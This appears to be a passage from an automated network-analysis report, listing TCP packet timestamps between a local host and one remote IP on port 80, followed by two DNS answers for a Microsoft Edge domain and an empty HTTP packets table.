Dec 18, 2024 14:08:07.610841990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.611089945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.611249924 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.611406088 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.612030029 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.612174988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.612226963 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.613101006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.613229036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.613279104 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.614032030 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.614208937 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.614301920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.614840031 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.614999056 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.615061998 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.615875959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.616013050 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.616075993 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.616878033 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.616931915 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.616975069 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.617921114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.617938042 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.618000984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.619323969 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.619335890 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.619393110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.619525909 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.619667053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.619723082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.620429039 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.620582104 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.620639086 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.621498108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.621603012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.621695042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.622410059 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.622446060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.622580051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.623358011 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.623435974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.623493910 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.624583006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.624594927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.624645948 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.625169992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.625353098 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.625400066 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.626185894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.626313925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.626358986 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.627023935 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.627135038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.627194881 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.628005028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.628129959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.628226042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.628890038 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.628987074 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.629060984 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.630166054 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.630177975 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.630215883 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.772070885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.772192001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.772244930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.772500992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.772716045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.772763014 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.773472071 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.773547888 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.773592949 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.774382114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.776304960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.776345015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.776356936 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.776746035 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.776793003 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.776931047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.777739048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.777797937 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.777837992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.778620958 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.778669119 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.778985023 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.779109955 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.779170990 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.779882908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.779968977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.780015945 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.781050920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.781063080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.781111002 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.781740904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.781871080 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.781923056 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.782721043 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.782921076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.782990932 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.783606052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.783747911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.783793926 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.784571886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.784635067 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.784681082 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.785859108 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.785988092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.786035061 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.786531925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.786591053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.786636114 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.787345886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.787456989 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.787506104 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.788347960 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.788361073 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.788405895 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.789406061 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.789573908 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.789618015 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.790148020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.790272951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.790321112 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.791187048 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.791229963 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.791270971 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.792058945 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.792072058 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.792112112 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.793767929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.793781996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.793818951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.794150114 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.794311047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.794356108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.795018911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.795310974 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.795375109 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.795933008 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.795944929 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.795980930 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.796757936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.796968937 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.797029972 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.797688007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.797955990 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.798130035 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.798638105 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.798657894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.798707008 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.799618006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.799685001 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.799731970 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.800544977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.800635099 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.800683022 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.801491022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.801502943 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.801558018 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.802383900 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.802459002 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.802524090 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.803354979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.803415060 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.803463936 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.804457903 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.804471016 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.804508924 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.805159092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.805222988 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.805263042 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.806104898 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.806231022 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.806276083 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.807373047 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.807384968 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.807421923 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.808751106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.808763027 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.808845043 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.810235977 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810251951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810273886 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810286045 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810297012 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.810343027 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.810748100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810897112 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.810940981 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.811642885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.811813116 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.811866999 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.812731028 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.812742949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.812772989 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.813541889 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.813822985 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.813916922 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.814671040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.815013885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.815073013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.815756083 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.815819979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.815869093 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.816834927 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.816848040 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.816895962 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.817692995 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.817707062 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.817749977 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.818332911 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.818387032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.818430901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.819333076 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.819345951 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.819386005 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.820081949 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.820331097 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.820372105 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.821161032 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.821211100 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.821252108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.821975946 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.874574900 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.964247942 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.964267015 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.964315891 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.964689970 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.964770079 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.964828014 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.965780973 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.965899944 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.965951920 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.966007948 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.968403101 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.968441010 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.968445063 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.969317913 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.969332933 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.969357014 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.970145941 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.970160007 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.970195055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.970861912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.970966101 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.971499920 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.971515894 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.971560955 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.972007036 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.972033024 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.972075939 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.973088980 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.973104000 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.973148108 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.973876953 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.973891020 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.973948002 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.974741936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.975056887 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.975107908 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.975635052 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.976052999 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.976100922 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.976675987 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.976766109 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.976819038 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.977677107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.977693081 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.977737904 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.978454113 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.978714943 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.978993893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.979456902 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.979500055 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.979650021 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.980532885 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.980557919 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.980734110 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.981304884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.981514931 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.981952906 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.982202053 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.982335091 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.982378006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.983171940 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.983541012 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.983623028 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.984122992 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.984162092 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.984204054 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.985596895 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.985611916 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.985660076 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.986682892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.986697912 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.986737013 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.987060070 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.987159967 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.987309933 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.987957954 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.988004923 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.988060951 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.989053965 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.989070892 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.989134073 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.989681959 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.989835978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.989878893 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.990609884 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.991396904 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.991441011 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.991569996 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.991662979 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.991710901 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.992530107 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.992669106 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.992737055 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.993649006 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.993664026 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.993706942 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.994396925 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.994720936 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.994771957 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.995383978 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.995398998 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.995440006 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.996335983 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.996351004 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:07.996417046 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:07.997313976 CET	80	49780	176.113.115.178	192.168.2.9
Dec 18, 2024 14:08:08.046421051 CET	49780	80	192.168.2.9	176.113.115.178
Dec 18, 2024 14:08:08.402941942 CET	49780	80	192.168.2.9	176.113.115.178

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 14:07:22.666237116 CET	1.1.1.1	192.168.2.9	0x224b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 14:07:22.666237116 CET	1.1.1.1	192.168.2.9	0x224b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

176.113.115.178

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
